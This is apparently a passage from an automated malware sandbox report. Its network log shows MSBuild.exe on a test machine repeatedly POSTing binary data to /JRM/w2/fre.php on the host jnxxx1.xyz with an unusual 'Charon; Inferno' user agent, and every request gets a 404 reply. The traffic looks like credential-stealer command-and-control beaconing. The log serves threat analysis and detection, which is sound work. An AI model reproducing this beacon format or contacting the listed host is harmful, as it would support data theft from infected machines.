Jan 14, 2022 14:26:44.712300062 CET	10842	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:26:44 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=L5mYlgtg3aQGX8qOqrc0LG96iYrZrjxPE93XWHiRGb2UO8OPopN4lmqKPrppc4VVrG05n0SPP5uN%2FWjhWPcfP%2FKo9wNQv0uUo4Peo74KPoQcIBKTXGkgHQY0yyli"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd7329f18bf690a-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.4	49876	172.67.198.111	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:26:45.981353045 CET	10843	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:26:46.338185072 CET	10844	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:26:46 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=dwmEdRgcgf0kvMZr2Lz2qxaww4m7Bp1zNcvjkZPkae7eYPGOGJxOL0H57k4VVIcB15BMq8FyBeMDB65ABBamOyFxw%2Bd4IxorIxQDJ0%2F9FWkOm53tftDmS0DhJQsu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd732a97fe88beb-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.4	49877	104.21.60.171	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:26:47.483133078 CET	10845	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:26:48.047214031 CET	10846	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:26:47 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ZPNXWJmybJVMKYjkYgMAxW3c9LSQ8wQMUCSc19bMi6DnrXNKlwA1s7u%2FYNvo0V75U%2FwRMZHTKFmwun0xDtghg2%2B1wA4G4hXLZ%2Bb63CM27PW7sOQHFrz3dnno0gYF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd732b2de377174-DUS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.4	49878	104.21.60.171	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:26:48.973043919 CET	10847	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:26:49.336987019 CET	10848	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:26:49 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=xoFPXs5ALdR5jISBg1Ki%2FNXGFl5I7RRePzEtwTG4bbdLmX0iHthiTGIy8wLJKk8rkq4%2FgYJS6HPoUEGyBHubNGNKOfBFZ6TA17%2FlurY7oocN1jNF226ItMo3Mkhn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd732bc29a56931-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.4	49879	172.67.198.111	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:26:50.474064112 CET	10849	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:26:51.038902998 CET	10850	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:26:50 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=tRFYLDQVTkNoruezpRqwrYCrjMFPn0m697vbSgmdJPWynf6cXuF%2FviNjUAT8Hw0xv7diJXMOGqcLHKg%2FNSdva4tbLI6iK26N43D5XYc7z7WraDr7gshT7%2BMKdtG%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd732c58ea97a48-DUS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.4	49880	172.67.198.111	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:26:52.091600895 CET	10851	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:26:53.140511036 CET	10852	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:26:52 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=MUnDKqmoP7BU4JPHDXvMuugC6IO3ewywew4l6Prxk9X7OEiPHWvkcLNcyPLiMP8v7sNsRcXbrfN0vEKUoXGUN9aiORNxADYIhvWD6R4flqV885skSjlfOUIbBUM7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd732cfae5d716f-DUS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.4	49881	104.21.60.171	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:26:55.192747116 CET	10853	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:26:55.731466055 CET	10854	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:26:55 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=hzicuxcnLS%2BMSkxKEskQQ5ceYQwxf%2FKC9qRPX8yZUNsQh9J0T4gIIyd97oKhSjkzyTMKl2YXdbi5v0lrZ7b18fMHewRGbVJ0Wjb5lDvO5ayjdQGvf7%2FpRVsVwhS9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd732e30efa7172-DUS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.4	49882	104.21.60.171	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:26:56.736108065 CET	10855	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:26:57.128308058 CET	10856	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:26:57 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=XNcySB%2BbH3AlRFOnjj9W1p%2BcWCYvOmEOPZE91yl%2BQs4vEIARciS4OzS%2BKPIxDXjyy8%2FWE7gszATruy9u%2FyoVu1PB1yYackPwk8DIjyvtqKhGhmkhqmg9mUxBbgZh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd732ecbda2ede7-CDG alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.4	49883	104.21.60.171	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:26:58.241652966 CET	10856	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:26:59.003459930 CET	10857	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:26:58 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=WM4ASNvB4Ln0mNPyiiswINBAUmCLMcLm7roMUI%2BcIujOneXrI%2FKRd43s93wQ8c%2FwVzciUxQtYBhz1jRJQY%2BVhPWwcjW800JR784SfxAs3n%2FE2DGjUn3cVcEme%2BHb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd732f61b2b7162-DUS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.4	49885	104.21.60.171	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:27:01.355494976 CET	10867	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:27:01.713457108 CET	10868	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:27:01 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=g%2FS2%2FuaMIIInUhKJ%2FYgHpAz6SEX4fj37USrarJYEybNdUCyRtnUeb6TQ09Bz4zHLa5%2FAB4CIvYVxMzS5cqOZoPSkmNC%2BVKvjHxFhinfRM%2B7EsXuJJa2TMFf3MGtz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd733098af14e1a-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.4	49775	104.21.60.171	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:25:26.426706076 CET	1329	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:25:26.838350058 CET	1330	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:25:26 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Gj0NK4oB%2BBli7ZTUP7LAptCxJVybdnOjIg%2FBIPdc9x5ijdtMpsCm%2FmB1NxAkaTDt3fxhLrJfH1YsdlR47tKujnu%2BxLKvVlECRwGpobB%2FAU3Y5bcd2fQsumLurHOT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd730b84e090b6f-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.4	49886	172.67.198.111	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:27:03.312330008 CET	10869	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:27:03.696619987 CET	10870	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:27:03 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=zj5vKlV7qYaOg04ZKRfbma5DOQVCwdGd3IYqY12U9yAaHhQwg%2FlnW2MIKnT%2FdGHkKU2kiAzE%2BGQKDKmgfZE5LK7WyX1jnX6iDe7JVPTew4gBvZNgP42ICMRdAv8w"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd73315c8c0c4a4-DUS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.4	49887	172.67.198.111	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:27:05.323353052 CET	10871	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:27:05.702493906 CET	10872	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:27:05 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=6x%2BsZ007hK5hXMzMkvOiFpCThqx6wq4gq06N1P7L%2BQIcdoieDzOMZjwoob4qVVsan3LoPovO6PokmNui%2FkXbLMf5dphqX6N7W%2FYnA5likl%2BQANj%2Fq%2FECIJTUQq7M"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd733225c0b5b98-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.4	49888	172.67.198.111	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:27:08.256758928 CET	10873	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:27:08.628438950 CET	10874	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:27:08 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=K4YnnLQtqyJuefNYYKikgzJrngap6sTAVTPPvew1P%2F7Oa%2Bf6vZF%2BW%2FV08Oo8cjXWmDEFIOnUO2lRRyCE%2FL4ECn2ClYktiFCuu7PnRzjrzvX46B0krV30HPYF7Xdt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd73334ad414a73-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.4	49889	104.21.60.171	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:27:09.950747967 CET	10875	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:27:10.356292963 CET	10876	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:27:10 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=z6s77jzji2vfKUYleFFTMqFAUQZaKVh7kFWBEXUKoNj9Y6WH%2Fa5s5xL%2Bp5gUW7GoCLj28Ivg7OYZPP%2FVub3llgRwmwyFPtrnaiLVUSmfFMt47erpCDstVXJr7ifb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd7333f3fd25c74-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.4	49890	172.67.198.111	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:27:11.589921951 CET	10877	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:27:11.970370054 CET	10878	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:27:11 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=N1%2BDMtyMNg2FgxsUNKVqRu0%2BBqCdVjMXRahhw7AAfGBzwp76HOkFt68cc7qsVxNZul6jdbraWpy0GeEjheLCMjrZVh5xt9SYpgkrH%2BtVw019nUJ4OXA9rWCB4HOo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd733497d378bd5-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.4	49891	104.21.60.171	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:27:13.021372080 CET	10879	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:27:13.388837099 CET	10880	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:27:13 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ErifryXAmgjblGKi53wYAZQGp5R0%2FcoEwdCAEmo%2B3PEt8ccX1SQwBVBDrhf3JXDokdIeALxvnXr9LY9Y%2B%2BdMazki75oG5oEAuTg9frnxiTK9PR5x3rp2NCmCFSel"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd733527cc439e1-CDG alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.4	49892	172.67.198.111	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:27:14.416693926 CET	10881	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:27:14.794965029 CET	10882	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:27:14 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=EXDyk6top6qwvTX4C%2BdfwAf8npHR6pwJr%2B0jFvkC9D2m%2FymaoLo63V59bdofbjosNWHEL118cPpmwm10onxw0NtO8vvtUPpdJSxtUCkRu0pgSyTCmbpvEPGUMfkc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd7335b3af63b4f-CDG alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.4	49893	104.21.60.171	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:27:15.866209030 CET	10883	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:27:16.288630009 CET	10884	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:27:16 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=AlYDfsN5GbpkMBD6h7eHRDqKqcOppS2kibcwZqb8eUC4CHNpLCvKM2GC379K5up1i8eTxZKvZB1ya%2B3ZUAnQEdmJEWsjJFoZZJWNtZSVT%2FgyS558TJdheyVjERsc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd7336448f48741-DUS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.4	49894	104.21.60.171	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:27:17.283951998 CET	10885	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
